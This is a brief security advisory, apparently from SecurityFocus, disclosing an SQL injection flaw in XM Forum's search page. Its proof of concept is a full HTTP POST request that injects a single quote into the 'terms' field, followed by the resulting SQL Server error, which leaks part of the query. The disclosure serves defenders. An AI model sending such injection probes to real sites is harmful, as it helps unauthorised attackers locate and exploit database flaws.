source: https://www.securityfocus.com/bid/55299/info

XM Forum is prone to an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

P0C : 
HTTP HEADERS : 
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.example.com/chilli_forum/search.asp
Cookie: TrackID=%7B54A35316%2D7519%2D405D%2D950A%2DA8CF50497150%7D; ASPSESSIONIDASSRDDBT=LPENAGHCNMNGMAOLEAJFMFOA
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Post Data --------------------
terms=%27&stype=1&in=1&forum=-1&ndays=0&mname=

Http response : 

28 Microsoft OLE DB Provider for SQL Server 8 21 error ' 8 80040e14 8 ' 1f

84 Unclosed quotation mark after the character string ') ORDER BY tbl_Categories.cOrder, tbl_Forums.fOrder, tbl_Topics.tLastPostDate'. 7 1f